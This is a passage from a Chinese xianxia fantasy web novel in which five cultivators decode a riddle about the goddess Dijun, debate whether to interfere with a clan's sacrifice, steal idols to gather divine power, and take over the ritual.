乐鸿配合地写了下来。顾梦真和曾换月两个脑袋凑在一起,企图做阅读理解。 “嘶。”小师妹思考,“无相无形,可成众生,但本心即灵魂不变……” “啧。”二师兄琢磨,“因缘而合的假象,假象但依旧会显现……” 乐鸿见二人愁眉苦脸的模样,忍不住微笑一声:“二位道友如此逐句分析,像是在解字谜一般。” “字谜。”原本在边上偷懒放空的石映心忽然抬起眼,“帝俊二字就是字谜。” 乐鸿微愣,颔首道:“哦,这么说也像。” “帝俊……”明易灵光一闪,“你们看,这像不像是形容帝俊的?” “啊?” 明易皱起眉头,一边急速思考一边不紧不慢地解释道:“大部分神祇本就活在人们心中,因此人们对神的想象也是千奇百怪,并无定型,所以它们无相无形,可成众生;但身为神祇本身的神格是不变的。” 四人:“喔~有些道理!” 大师兄继续道:“这句‘诸法皆空无自性,一切都是因缘和合的假象;空性不碍缘起,虽都是假象但依旧会显现’。不正好说明神力的不论好坏,只催化因果缘分吗?人们得到神的赐福,自以为如愿,但也许是假象,缘起缘落,焉知非福?” 四人:“喔~很有道理!” 明易自觉也是如此,满意点头,打算喝茶。 这时石映心便问了:“大师兄,所以因果牌是要我们怎么做呢?” 明易:…… 把递到嘴边的茶盏放下,他有些苦恼地摇了摇头:“尚且不知。” 第154章 “好了好了,”曾换月憋笑道,“别给大师兄脑子给转冒烟了。” “是啊是啊,”二师兄宽慰他,“起码我们有些进展了。接下来就走一步看一步吧,总归是要看看后日的祭祀大典是什么成分。” “是明日。”石映心说,“已经过子正了。” 不知不觉已经这么晚了啊。一听到时间,大伙都打了个哈欠。明易看了看石映心,见她没什么异样,便提议大伙先回去休息,什么事等明早再谈。 “好。” * 晨光熹微。 石映心是被噩梦惊醒的,这里的噩梦指的是寻常人的看法,她不觉得梦很可怖,只是有些烦怎么又做梦了,同时惊奇地发现这次自己居然记住了梦的大概。 大概就是她在梦里杀了好多人,满世界都是血,没有更详细的内容。 石映心起身下床,暗暗庆幸没梦到大师兄,不然她在梦里这么胡作非为,就要听唠叨了;喝了口茶水缓解口渴,打开房门,迎面的空气有些沉闷浑浊,让她怀念起归壹派的早晨,风和阳光都是清新可人的。 说起来……她看着还有些暗淡的天色想,她在梦中为什么杀人呢?或者说……在她梦中杀人的人是她吗? 其实是自己,她知道……但总觉得好像又不是,瞧着有些陌生。 可她不是她,还能是谁呢? 就像这两日每天早上醒来时,她很清晰地能感觉到昨日的自己性情上的变化,也许是因为无伤大雅,她内心并无多少排斥;但若是无法生起排斥的念头,就是另一回事了。 唉。石映心甩甩脑袋,企图将这些讨厌的思绪撇开。她隐约觉得做梦和性情变化的事和她在修炼的照人之术有关,但…… 难道她要因为未知的可怖,而停滞不前吗? 今日没有早膳。 已经辟谷的修仙人士按理来说不会饿,只是习惯日日三餐的馋猫们有些不适应,肚子里感到空落落的;这些没道理的委屈狡诈地化作了对三足乌族的愤恨,小师妹的指尖敲敲桌子,嘀咕道:“明日就是祭祀大典了……” 她说这句的语气很像是“明天就是高考了虽然还没准备好但还是得考,虽然不知道会考得怎么样但考了就解放了”这样一种无可奈何的紧张和期待。 顾梦真打了个哈欠:“我觉得现在有一个问题是,我们到底要不要阻止他们进行祭祀?毕竟还不知道他们到底想做什么……” 石映心道:“不如今日就去问郑银仁,大不了鱼死网破。” “不好不好。”乐鸿谨慎道,“我怕只是问出来了,却找不到证据……毕竟石道友的功法似乎不可告人……是吗?” 石映心记起自己是来帮乐鸿的,于是点头。 曾换月想起上次师姐和自己说的话,发表意见:“我觉得就让他们祭祀呗。你们想啊,这个祭祀大典的目的首先可以排除‘解除城池封闭’以及‘处理女鬼’这两件事,毕竟郑银仁是交代给我们做的;也就是说如果我们没来此处,这个祭祀的影响应该只是他们三足乌族。” “不错。”明易首先赞同了小师妹的意见,又道,“也许还能再缩小些范围,应是高禖殿中被挑选去内殿的男人。” 石映心:“他们是祭品?” 明易:“……这么说也行。” “对嘛!”曾换月一拍手,“那这么看,这祭祀和我们几人还有外界无关,反正不管他们什么目的都是在自相残害;既然这样,不如我们就坐山观虎斗,看他们到底想干嘛!” 顾梦真点点头:“我觉得行啊,还省事点。” 乐鸿似有些犹豫:“可这样完全不作为……是不是不太好?那些将要受害的族人岂不是很可怜?” 曾换月抱胸:“再可怜也是他们自作自受!” “这些沦落高禖殿的男人,也是七年前将女人们杀死的凶手。”石映心也道,“确实是自作自受。” “可是……”对小和尚来说,实在有些折磨良心,“唉,可是众生皆苦,我们真的要见死不救吗?” “不至于到见死不救的地步吧。”曾换月撇嘴道,“主要我感觉郑银仁和楚汴也没想那些祭品死啊,他们似乎也不确定会不会成功,所以才这么偷摸摸地、又只选了少数几人尝试……嘶,怎么感觉这么一说,这行为逻辑有点像是……” 石映心:“送子殿。” 曾换月:“是吧师姐!” 顾梦真便推测道:“难道他们是想让这些男人怀孕,然后诞下正常的孩子?” “不像。”明易摇摇头,“我并不觉得他们之前没尝试过这么做;再者,这事知道的人不少,似乎高禖殿的侍卫都略有所知;可明天祭祀的目的……只有郑银仁和楚汴知道。” 曾换月哼哼两声:“肯定是个倒反天罡的事情!” “各位道友!”乐鸿忽然站了起来,面色已从方才的纠结转为严肃,语气认真道,“在下有个不情之请……” 曾换月:“那你还是别……” 明易:“请说。” 乐鸿道:“善恶终有报是不错,三足乌族自作自受也确实是他们活该……但我想,既然他们行的是倒反天罡一事,那我们这些顺应天道、匡扶正义的修道者便不该坐视不管,难道这不是与我们的道义相悖吗?” 曾换月一瞬间瞪大眼睛:“乐鸿,你……”居然还说到顺应天道上了。这笨和尚,明明就是想救那些祭品,见她们不太乐意就换了个说法,整这些上价值的大道理…… 果然就听她们大师兄松口了:“乐鸿言之有理……” “不行!”曾换月大声道,“那些祭品就是活该,凭什么要救他们?三足乌族的男人就没有一个好东西!谁知道他们今天对那些鸭子做的一切,之前是不是对女人做过?” 紧接着自问自答:“肯定是做过的!亏我之前还同情那些鸭子,哼!” 乐鸿看向她,愁眉苦脸道:“曾道友,我明白你的意思,可是这些人之中也有无辜者的存在,比如李丙的儿子李大……” “这是个例!” “就算是个例也是无辜之人……”和擅长同师兄拌嘴的曾换月比起来,乐鸿的气势就弱很多,但他依旧坚持着劝道,“其实现下也没到宁可错杀、不能放过的地步……” 曾换月捂住耳朵,瞪大眼睛看着乐鸿:“你就不能当做我们没来过一般,任由他们进展吗?” 乐鸿也看着她:“可世上没有如果,我们已经来了,偏偏还来得正是时候,我想这也是天意如此。” “你胡说!” “曾道友,在下只是……” “好了好了你们不要吵了!”最先听不下去的是顾梦真,他蹿进来打断二人的对峙,仰头看天道,“老天奶,原来我平时和曾换月吵架的时候这么叫人头疼吗?” 明易心想你才知道吗。 曾换月撇过头,看向石映心:“哼!反正师姐肯定是站我这边的。” 一直没说话的石映心依旧没说话,神色淡定地坐在那旁观。 眼看乐鸿又要张嘴劝人,顾梦真连忙道:“这样吧,我们……少数服从多数!如何?” 乐鸿看了看四师兄妹,他哪有选择的余地呢:“好。” 曾换月显出一些自信:“好啊!” 顾梦真:“那就同意乐鸿的举左手,同意换月的举右手!三二一……” 他自己举了左手,明易举了右手。曾换月看见大师兄举右手就放下心来,笑道:“看吧,我方才说的也是大师兄的意思,大师兄也不想我们多管闲事的!现在好了,三比二……” “额,是二比二。”顾梦真提醒她,“映心还没投票。” 曾换月:OO 大伙齐刷刷看向石映心,就见她一脸无事发生般,很平常道:“我想祭祀。” 曾换月先是这么理解了:“师姐你的意思就是放任他们去祭祀对吧?那跟我说的……” “不是。”石映心摇摇头说,“是我要祭祀。” 这下大家都愣住了。乐鸿不解地问:“石道友这是何意?” 石映心说:“按楚欣的说法,帝俊是上古女神,那最开始的大司命和少司命应也由女子担任才是,对吗?” “啊,”曾换月恍然道,“对哦,怪不得我们昨日看到的两件祭服和面具是女子的服饰……” “方才我在回想我们来到三足乌族后的种种发现,其实有很多古怪的地方。”她娓娓道来,“比如,他们被封城的时间点;比如,子福泉能让男人生子,却生不了正常孩子;比如,他们对祭祀的懈怠,以及日复一日的衰败……” 明易很快理解了师妹的意思:“你是想说,帝俊在满足他们愿望的同时,也在暗中制约他们?” “嗯。”石映心点点头,“师父七年来到这的时候,三足乌神像已被用来封印女人的尸首,但三足乌城并未被封城;师父破坏了封印后,三足乌城就被封了;我想也许是泄露的帝俊神力做的好事。” 曾换月一拍手:“难道是帝俊不想那些臭男人出去祸害别的女人?毕竟他们连自己的亲族人都敢杀,再坑蒙拐骗别族的女人回来完全有可能啊!” 顾梦真煞有其事道:“很有道理!” 明易和乐鸿也点头表示赞同。 石映心又说:“其实帝俊将他们封在城中,并不一定是想他们这么自取灭亡,可能只是一种惩戒;但没想到这些人不知悔改,甚至在族内出现了·同·性·相·奸·的恶心事,被血洗后的高禖殿居然再次人满为患……” “郑银仁因此觉得他们其实不需要女人,只需要有类似女人的存在,便能继续维护族内的安定,于是就诞生了不被承认是男人的……高禖殿中的鸭子们。” 曾换月:“哦~只需要有人能满足他们的**就行了是吗?” 明易:“还有一个问题。” 第155章 石映心看向大师兄:“还有一个致命的问题:鸭子们虽然能满足族人们的**,但他们生不了孩子。就算当时他们还没被封城多久,但身为城主,郑银仁不得不杞人忧天、未雨绸缪,生怕他们就这么不见天日,直至被灭族;于是再次祈求帝俊……赐予他们子福泉。” “他们肯定看过西游记。”曾换月冷笑一声。 “我想他们是看过的。”石映心表示同意,“不然也不会那么理所当然地觉得只要有了这片神奇的泉水,就能源源不断地生下孩子,像女儿国的传说那样。而帝俊……确实满足了他们的愿望。” 说到这她顿了顿:“只是还不清楚,那些奇形怪状的小孩是帝俊的旨意,还是三足乌族男人违背天理的自然产物。” 以曾换月的视角来看,其实二者都是一样的。这相当于就是男人自己跟自己生孩子嘛,孩子身上只有父亲个人的基因;但理论上来说,不管是一个人还是两个人的基因,这xy和xy就是不能结合,如今是用“神力”将它们强行结合了,那不是包变异的? 经师姐这么一分析,她合理怀疑帝俊是知道三足乌族男人想做的事情会产生什么样的后果,所以才恶作剧般地“实现”了他们的愿望。 若帝俊是真心实意地为他们好,为何不像女儿国的子母河一样,直接帮三足乌族一劳永逸呢? 她将想法告诉几人,得到了大家的认可。 “那也就是说……”乐鸿摸摸光脑壳,“帝俊其实对这些信徒并不满意?” “何止是不满意啊。”顾梦真嗤笑一声,“做到这种程度算是很讨厌了吧。” 曾换月一翻白眼:“搁我我也讨厌,有这些下三滥的信徒还不如没有!简直是耻辱!” “不过……”明易因此想到什么,“这么看来,帝俊似乎无法主动去处理三足乌族,只能通过在一些事情上做手脚来让他们达不到目的?” 乐鸿颔首道:“神明……或者说,被祭祀的神明相当于有了神职,是不能随意干涉人间事的……只是话说到这,我有个问题想不明白。” “什么问题?” 乐鸿的眼中有些茫然:“失落成阴阳神的女神帝俊,她如今的神格是怎样的?三足乌族……或者说以明家为首的信徒们,对她的祭祀追崇,对她自身而言又算什么呢?” 大家感到他对帝俊的同情。曾换月喃喃道:“原来神也有被胁迫的时候啊。” “如今的神明和上古时的神祇是不同的。”石映心说,“从前的神不需要人们的信仰。” 乐鸿有些诧异地看向她:“石道友一语中的。从前的神只是神本身,如今是有神职才算是百姓们眼中的神。” 石映心稳重颔首。 她师兄妹瞅她的稳重神色,后知后觉感到不对劲了。顾梦真斟酌着开口:“嘶,是我的错觉吗?怎么感觉今日的映心好像……格外聪明啊?” 曾换月眉毛一挑:“我也这么觉得……欸,不是说师姐以前不聪明的意思啊,就是感觉……更有学识了?” 明易也缓慢地点了下头:“嗯,以前很少说这些分析的话。”常常就是自己在心里想了什么,然后一意孤行地去做,完全吓他们一大跳。 石映心(更聪明版)抬起眼来,睿智的眼神扫过几人,淡定地颔首道:“不错,今日的我比昨日更聪明,我有明显觉得。” 四人:……你自己都觉得啊? 大伙都明白这是“撞鬼”后的影响,但别说还有些惊喜嘞,感觉大部分时候加强的技能都不错嘛…… 石映心:“你们不觉得这是好事?” 四人:“是啊是啊当然是。” “既然这样,几位且听我一言。”石映心(更聪明版)双手交叉立于胸前,真是一个看着就聪明的姿势,“我有一个想法。” 四人都很期待地看着她:“是什么?” 石映心(更聪明版)的眼中闪烁了意味深长的机智光芒:“召唤天神帝俊。” 四人:OO 片刻的寂静过后,还是师姐的头号支持者小师妹先举手赞同了:“好啊好啊,听着比召唤神龙靠谱啊!” 顾梦真迷惑脸:“哪来的神龙?” “对啊,哪来都不知道。”曾换月一摊手,“但我们已经知道帝俊了,所以这么一比较,师姐的办法很靠谱嘛。” 顾梦真:什么逻辑……有这样的两个师妹真可怕。 乐鸿还在缓冲中,明易先问道:“为何你想召唤帝俊?” “就是突然冒出来的念头。”石映心指了指脑子,“冒出来之后想了想,觉得还挺有趣的。” 大师兄微微眯眼:“有趣?” “不是不是这个意思,”小师妹慌张摆手,“师姐你快狡辩啊!” 明易这会合理怀疑这两人就是想瞎闹腾,他绝对不是那种会纵容师妹的、没有原则的大师兄,怎么可能会因为这么一个随便的借口答应呢?不过如果再敷衍他两句倒还能考虑一下…… 石映心(更聪明版):“我想,三足乌族有如今的局面,一是他们自作自受,二是帝俊的推波助澜。如果我们的掺和对三足乌族来说是干涉因果,那不如让他们祭祀的神祇亲自降临,决定他们的结局。” 正好两句,于是明易同意了。 大概是石映心(更聪明版)说得太有道理,加上一时也想不到更好的办法;乐鸿心中虽有些“她们不是在乱来吧”的忐忑,但事到如今总比坐视不管好。再说,向来祭祀神佛的他也有些好奇,上古神祇究竟是……怎么回事呢? “好……那石道友是想怎么做?” “就由我,”她指了指自己,“我来做大司命,换月是辅助我的少司命;至于那些祭祀仪式和祭祀品,就借郑银仁他们准备好的就行。” 二师兄不得不提醒道:“郑银仁不见得会借啊。” 石映心抱起胸来,一脸坦荡:“我要与他同时进行祭祀,他不借也得借。” 四人:……哇塞。 “挺好的挺好的。”小师妹鼓起掌来,“这下除非他取消祭祀,不然拿我们没办法的。” 顾梦真觉得这白拿就很划算啊:“是哦,还可以这样硬借哈。” 乐鸿迟疑地看向明易:“明道友,这……” 明道友微微颔首,给了他一个靠谱的安慰:“总之已经决定乱来了,怎么乱就不必太在意。” 乐鸿:…… “对了,我还有一事需要各位帮忙。”石映心拿起桌上的三足乌神像对几人示意,“我想这些神像中很可能会含有一些帝俊神力,尤其是摆在郑银仁城主府中的;麻烦你们今日多搜集这些神像给我。” 明易问:“你收集这些神力是为了什么?” 石映心(更聪明版):“提高召唤帝俊的概率,我感觉是应该这么做的。” 大伙就觉得她话说得非常胸有成竹,纷纷答应下来。 “大师兄,”她又对明易道,“我想看看楚欣的书。” 明易微微挑眉,将书递给了她,见她一脸认真地接过去,轻轻笑道:“之后就看你吩咐了,映心。” 石映心(更聪明版)朝大师兄郑重地颔首:“放心交给我便是。” 看起来她是想好好研究一下楚欣的手记,四人便不打扰她,去外头收集神像。到了屋外,趁着乐鸿先走了,小师妹感叹道:“没想到今天的盲盒开得不错啊。” 顾梦真:“什么盲盒?” 曾换月:“就是师姐这个情况啊,不知道每天会有怎么样的性情转变;昨天的有些吓人,今天的聪明不是正好派上用场了?” 顾梦真故意说:“不一定是好用处吧,我看映心就是在想乱来。” “这叫出奇制胜!你懂不懂?” 顾梦真用胳膊肘怼怼明易:“大师兄你懂不懂?” 明易把他撇开,淡定道:“映心的情况……我略有猜测。” “什么什么?” “映心是在撞鬼之后才出现的异样,她撞的鬼是三足乌族女人;再联想她这几日的变化,一日爱干净,一日厨艺高超……像不像是民间人家中操办家事的女主人?别忘了映心的人心中也有这些女人的心组成的部分……” “啊!”曾换月瞪大眼睛,“大师兄你的意思是,师姐这两日变的性情,很有可能对应着三足乌族中某个女人的性情特点之一?” 明易颔首。 “很有道理啊。”顾梦真摸摸下巴道,“怪不得刚刚映心总是冒出一些她都不清楚从而何来的点子,竟还乐意看那么晦涩的手记;这么看,她今日的性情来源很有可能是……” 二师兄与小师妹异口同声:“楚欣!?” 引导二人猜测到这,明易却戛然而止道:“只是猜测罢了。不管是楚欣还是谁,只希望她们不会伤害映心。” “伤害映心够呛吧。”顾梦真呵呵一笑,“吓死我们更有可能。” 三人都忍俊不禁。 祭祀大典的前一日,三足乌城中一片忙忙碌碌;一时谁都顾不上谁,都在为了那个神秘日子的到来而做着最后的准备。 不知不觉中日薄西山,太阳似乎也着急回去,很早就不见了踪影,只剩下一些余晖。 四人本以为收集这些三足乌神像会遭到很多阻碍,但巧的是这日大部分人都去准备祭祀大典了,就没几个人留在家中;事到如今就别再提什么名门正派的原则,做一日小偷也没什么的。 偷普通族人家的最方便,拿了就走,其实很多神像都被灰尘铺满,感觉根本没人在意;偷楚汴和郑银仁的要略施小计,用法术变一座替换上,如此也能糊弄了。 总而言之,一整日下来收获颇丰。 第156章 月黑风高。 顾梦真拍拍手,看着地上一大堆赃物,颇有成就感道:“怎么样映心,这些够不够?” 石映心点点头又摇头:“够了,不过还差最重要的一座。” 曾换月打了个哈欠:“啊?在哪啊师姐,我们这就去偷来。” 石映心朝几人笑了笑:“不必去了,它就摆在祭祀广场的中央。” 听她这么说,大家才恍然想起它的存在。乐鸿当了一天小偷,这会坐在那擦了擦汗,语气听起来麻麻的:“我去偷……咳,借楚汴家神像的时候,无意触发了一个神像机关……” 不等他说完,顾梦真就迫不及待地追问道:“什么什么?里面是什么?你带回来没?” “……没。”乐鸿摇摇头道,“我怕打草惊蛇,没敢拿。不过趁他不在家简略地看了看;其实就是一些关于送子殿的情况,他记录了哪些被选去生孩子的鸭子的信息,以及他们生下的孩子的信息……” “哦。”曾换月的激动又消散了,“这些我们已经知道了。” “嗯,不过……我看那些记录,楚汴似乎一直在找原因,并且每年都有在做调整。” 明易眉头微皱:“调整?” “比如……前两年,他是随意找的人选,那几只鸭子多少都是年老带病的;后来两年楚汴找了年老没病的,还是不行;接着又找了年轻健康的……” “最后他发现,不管怎么样都生不出健康的孩子,甚至不管年岁大小、健康与否,生了孩子后这些鸭子都会死去。相当于是以命换命,但换来的命反倒是累赘。楚汴只好慢慢减少试验人数,但依旧每年都会尝试几人。” 乐鸿露出回忆的表情:“试验最后他写到:‘难道只有男人生不出健康的孩子?’接着后边就是一些祭祀需要准备的东西……所以我想我们之前的猜测没错,明日的祭祀一定与这些孩子有关。” 曾换月听到这,嗤笑一声道:“所以楚汴是没招了嘛?才想着求助帝俊。” 乐鸿微微颔首,又摇了摇头道:“但……如今我们已经来了,他们为何不把重点放在解开城池封闭的事上呢?届时便能娶外族的女人了。” 顾梦真感到迷惑:“是哦?” “不必多想了。”石映心站起来,看了看几人,“明日就能知晓答案。” “明日……”说到这,曾换月忽然有些忧心地看向师姐,“明日的师姐还会这么聪明吗?” 石映心(更聪明版)朝她点了点头,保证道:“会的。” 今日她说的话莫名让大家都很信服,哪怕知道是不能保证的保证,但几人都是松了口气。 “那我们就早日休息。”明易的视线从师妹身上收回来。 “好。” 三足乌族祭祀大典当日。 乌云密布。 真是难得一见的天象,他们来的这几日都是晴空万里,生怕热不死人;怎么到了关键的这一日,却是这番景象? 出门的时候,石映心等人听到边上的侍卫在说小话: “果不其然,每次祭祀的时候都是阴天。” “也是奇了怪了,我记得我幼时还是艳阳高照的。” “这样才好,倒是凉快些,不然站那大半天热不死我。” …… 在阴天祭祀太阳神啊。 五人来到祭祀广场,里头已经站了不少族人。他们应是做了盛装打扮的,每人身上都穿了祭服,但不知为何看起来像一堆五颜六色的纸片垃圾,也许是因为那些衣物破破烂烂的又有许多褶皱,把人衬得很滑稽。 祭祀开始的时间是巳初,这会还差半个时辰。吴志从哪里走过来,身后跟着一批搬祭品的;他来到广场上开始指挥和整理队形,喊出声的嗓子有些沙哑,前日见他时还不这样呢。 五人在边上看他们做最后的排布,深刻地意识到什么叫做“草台班子”。 乐鸿左右望了望:“还没见大司命和少司命。” 顾梦真无聊地打了个哈欠:“最重要的人物要压轴呗。” “不知道那些祭品要如何登场。”明易说。 石映心:“等着看吧。” 明易看着师妹,今日还没见她有明显的变化。若是没变那是最好的,变了的话希望是往“好”处变吧。 在广场上的族人们差不多被安排好、距离巳正还差一刻钟的时候,郑银仁在两排侍卫的簇拥下从城主府走出来,声势浩大。 他今日打扮得格外郑重,大司命的祭服在阴天下流光溢彩,脸上已经戴上了面具,露出的下半张脸上,最显眼的是涂了大红唇脂的嘴,衬得他没剃掉的胡须就显得不伦不类了;长发盘了一个不复杂的发髻,头饰倒是很繁复华丽。 除了露出的那半张脸有偏男性化的丑陋之外,乍一看确实像个女人。 大概是身上的服饰太重,他走得不快。边上侍卫还没和他们的城主磨合好,有一下踩到了他的裙摆上,被他的烈焰红唇骂了后连忙低头哈腰地扶起他的裙摆,总算有了眼力见。 郑银仁走得越近,五人憋笑的难度就越高。 曾换月最先喷出一声笑来,转过身子笑弯了腰;顾梦真紧跟其后,捂着嘴巴尽量不笑出声来;比较有良心的乐鸿死死抿着嘴角,深呼吸吐气缓解情绪;唯二淡定的就是明易和石映心,这二人瞅着面无波澜,不知为何笑点这么高。 原以为只是她们比较会憋,没想到明易说话时的语气也挺稳重的:“楚汴来了。” 几人连忙忍着笑,四处张望着找楚汴。见他从东边的街角走出来,装扮和郑银仁差不多,不过稍稍素净一些;他容貌还算清秀,起码没留胡子,于是露出的下半张脸就不太违和。 少司命的走姿也比大司命要优雅一些,他双手板正地交叠于身前,垂下的长袖像迎风飘摇的旗帜,左右对称的两只五色三足乌。小洋在他身后抱着裙尾,呆呆地望着怀中的裙子,低眉顺眼的模样很乖巧。 随着这二人走出街角,不过几步远,紧跟着就出现了一台大红轿子,瞧着很像是民间新娘出嫁的式样;前后左右由四个侍卫抬着,一步跟一步地迎出来,一台接着一台,人们投入得望着漫长到仿佛没有止境的红,等回过神来一看,其实只有十顶。 乌云蔽日,世间一片灰压压,风卷着黄沙吹过一台台花轿,撞上晃动的、如火焰般燃烧着的红色绫罗轿帏,变成冒出的灰烟;它们艳丽的色彩比大司命祭服更引人注目,像是凡人精心打造的火红太阳,十顶就足够照亮这方天地,甚至有些刺眼。 就在这时,广场上敲锣打鼓的老人带着徒弟演奏起来。在族人们好奇和莫名敬畏的眼神中,少司命带着红色的长队走来了;先是停在了大司命的面前,朝他行了跪拜礼,而后与他并肩站立,目视着抬花轿的侍卫们一个个把花轿放下。 轿子中很安静,除了风吹轿帏外没有任何动静,排成一列面对着广场正中央的三足乌神像;神像边上不规则地摆放着五鼎,石映心等人认出这是她们之前通往高禖殿的简易版三足乌机关阵,三足乌神像处于正中央的位置。 五座青铜鼎边上站着拿着火把的侍卫,鼎中摆满了一些祭品,多数是纸符纸灯等;有一尊鼎里头摆放着大块的骆驼生肉,血液顺着鼎足源源不断地流淌下来,渗入下方的沙地中,瞧着挺新鲜的,也许比做成菜更有诚意些。 广场中已经排布完毕,跳迎神舞的,献祭糕点吃食的,还有十台花轿等,各占其位;广场外围团团围着族人,遵循大司命的吩咐,祭祀大事必须所有族人都在场,以全族的诚心祈求神明的赐福。 吉时将到。 吴志清点完一切,小跑着赶来大司命面前,行礼道:“禀告城、大司命、少司命,一切准备就绪。” 郑银仁看向楚汴,后者仰头看了看天说:“未到吉时,稍等片刻。” 郑银仁微微颔首,忽听边上传来一声:“几位仙人这是要做什么?祭祀快要开始了……” 他头上戴的东西太重,转完头时那五人已经就在眼前了。见他们面带一些微微的笑意,郑银仁不知为何有些不好的预感:“几位仙人有何吩咐?” “是有些吩咐。”明易礼貌地说,“我们打算同你们一起进行祭祀。” 大司命的耳朵边有流苏珠玉随风作响,他一时怀疑是自己听错了,但其实听得还算清楚,于是觉得对方好像不是在说人话呢:“什么?” 明易再次礼貌地重复:“我们要同你和少司命一起祭祀帝俊。” 也不知是不是脑袋上的东西太多,郑银仁的脑子还是没转过来,倒是楚汴先开口道:“原来几位仙人是打算入乡随俗,我等真是受宠若惊。不过祭祀的流程和规矩早已经定下,如今吉时快到,不便再做额外安排;不如请几位随大部分族人一起在边上静心观赏、诚心祈祷?” “不麻烦你们安排。”明易客气地说,“我们已经安排好了。” 楚汴:? 郑银仁终于回过神来:“几位仙人究竟是何意思?不如直说。” “我大师兄已经说得很明白了,”曾换月抱着胸,下巴一抬道,“我们也要祭祀帝俊。顺便介绍一下,我是少司命,我三师兄是大司命,身份嘛就是这么回事,至于祭祀的仪式和用品就暂借你们的用好了,一举两得嘛。” 两个司命:…… 二人感觉自己在听什么天方夜谭,脑子有些无法可想了,完全不愿有任何相信。郑银仁甚至笑出声来:“几位不要开玩笑了,吉时快到……” “没跟你开玩笑。” 石映心话音一落,只见身上一阵灵光,再定睛看去时,她已经是女人扮相,容貌似乎与方才很有不同,但瞧不出哪里不同。只见她朝目瞪口呆的两位司命微微一笑,说出的声音也变了:“如何?是不是比你们更像女人?” 两个司命:oO? 曾换月也嘿嘿笑了一声,紧跟其后地变了身:“再看我,比你们漂亮多了!” 两个司命:Oo? 第157章 见到两位仙人大变女人,他们才意识到情况很不对劲,对方可能真不是在开玩笑。 二人在风沙中凌乱,华丽的祭服仿佛被盖上了一层阴霾。郑银仁完全没想到事到临头,这几位说要帮忙的仙人会这样搞事情,就连压抑着的怒火都很茫然:“你们到底想做什么?马上就是我族的祭祀大典,事关重大,为何要来添乱!?” 不等几人再说话,楚汴就在边上飞快道:“劳烦几位看在这几日我族为你们接风洗尘、诚心招待的份上,不要耽误祭祀大典举行;若有什么要求……我和城主之后都会有求必应。” 石映心顿了顿道:“其实并没有招待得很好。” 顾梦真:“住的很一般。” 曾换月:“吃的还很差。” 乐鸿叹了口气:“算是没有功劳也没有多少苦劳吧。” 二人:…… 见她们这么不给面子,郑银仁迷茫的怒火总算找到了出口,他厉喝一声道:“孤原以为你们是来帮我族摆脱困境的仙人,对你们笑脸相迎、好生招待,你们不领情也就罢了,如今还想恩将仇报!?” 恩将仇报? 石映心想他到底做了什么呢,就能上升到恩将仇报的地步啦? “你也太会往自己脸上贴金了吧?随便找个地给我们住,煮些难吃得要死的饭菜给我们吃就算是有恩了?”曾换月双手叉腰,指着郑银仁的脸骂道,“那我师姐给你煮的几餐饭都够你下辈子当牛做马还了!” 郑银仁面具后的眼睛气得瞪大了:“你!” 他边上的几个侍卫很快反应过来,拔刀挡在城主面前道:“放肆!竟敢对大司命无礼!我看你们是不想活了!” 下一刻却有两只手把他们拉了回来,居然是吴志,只见他严肃道:“蠢货!我看你们才是不想活了,这几位都是仙人,方才大变女人没看见?等会动起手来我们全族都不够他们杀的!” 那几个拔刀的侍卫这才反应过来,面面相觑后看到彼此脸上后知后觉的恐惧,连忙收了剑往回躲。 原先有些剑拔弩张的氛围这下全崩塌了。原先还想发作的郑银仁和楚汴也被吴志的话点醒,一瞬间想明白了他们的处境,只好生生憋下这口气来,面具下的半张脸明显变得铁青。 曾换月的脸上挂了得意的笑,朝吴志一抬下巴道:“没想到你这时候长脑子了。” 吴志:? “郑城主,”明易适时开口,“吉时将到,事到如今也没什么好隐瞒的。我们并没有阻碍你们祭祀的想法,不过是想乘东风也试着祭祀帝俊,看你们所谓的天神能否顺便实现我们的愿望。” 他这话两位司命是听懂了:借现成的用嘛。 郑银仁深呼吸,吐气:“你们想实现什么愿望?” 明易:“这不便说。” “你!”郑银仁竖起眉毛被面具遮盖,“你们不要太过分了!” 明易平静地问:“过分又能如何呢?” 郑银仁:…… 曾换月真喜欢别人看不惯她又干不掉她的样子,得意洋洋道:“其实你们也不必这么狗急跳墙的,不是说帝俊是你们三足乌族的守护神吗,对你们是有求必应?既然这样,我们这些外来人就算是在边上跟着祭祀也不一定能分一杯羹呢……” 阴阳怪气的话说到这,她挑衅的目光在两位司命身上扫来扫去:“怎么,难道你们没这个自信?” 简直是可忍孰不可忍,郑银仁厉声道:“谁说没有!?帝俊庇护我族千秋万代,洪福齐天,这衣钵相传的承天之佑岂是你们这些不速之客能撼动的!?少司命——” 他莫名转头问向楚汴:“你说如何!” 楚汴面具下的神情瞧不清楚,只一双沉寂的双眼和紧抿的唇显出他的隐秘的紧绷和不快。被郑银仁问了话,他不慌不忙地朝对方行了一礼:“大司命说得是……神明之恩,岂是所有人都可求得?” 听他这么说,郑银仁仿佛服下了定心丸,总算把憋住的气松出一口来,烈焰红唇在视觉上扩大了他的笑容:“既然如此,几位可在不妨碍孤和少司命的情况下进行祭祀。” 明易客客气气道:“那在下先多谢二位的慷慨了。”虽然是被迫的吧。 这礼貌道谢落在郑银仁眼里自然是装模作样,他真是忍不了地冷哼了一声,又要说些什么的时候,边上的楚汴提醒:“大司命,是时候了。” 不管如何,先硬着头皮上吧! 由于先前石映心等人在一直与郑银仁他们谈话,边上围观的族人虽听不清他们在说什么但依旧议论纷纷,广场一时纷乱。这会随着大司命迈出前进的步伐,哪里随之敲响一声锣,万籁俱寂。 锵,锵,锵! 大司命的手中拿着一把三足乌为首的木质拐杖,见他举在手中,稳步往广场中央的神像走去;这时候边上的侍卫并不跟随,只有少司命在他身侧后方两步远外同行。 锵,锵,锵! 大司命在三足乌神像前立定,灰蒙蒙的天地间,他对着阴沉的神像大声念道:“良辰吉日,宜请神高照,谨以清醴盛宴、拳拳之心,昭告于帝俊尊神!” 话毕,少司命双手交叠于身前,对神像弯腰定住了身形,朗声道:“维皇祖帝俊,日月所出,文明所肇……昔者玄鸟负日……今我黎庶,虔心告虔……” 总之是些纷乱复杂的,听了也不会听太懂的祭神词,除了少司命需要全文背诵外,其余人也就起个在边上垂头装认真倾听的作用。 这会石映心还瞧见郑银仁偷摸摸瞥过来的眼神。她与师妹就站在三足乌机关阵外,不远不近地看着;也许郑银仁是好奇她们为什么啥都不做。 镜灵自然不必进行这些繁杂的流程和仪式,她只需要“照”到他们二人沟通神明成功时的那一瞬的天地灵力就好,还算方便。 趁着楚汴还在念叨的时候,石映心将一箱子三足乌神像从储物空间里变了出来,满满当当的一箱子,还掉在了地上几个。她没瞅见郑银仁倏然变大的眼睛,但这会也不太重要了,祭祀进行时,他总不好冲过来质问的。 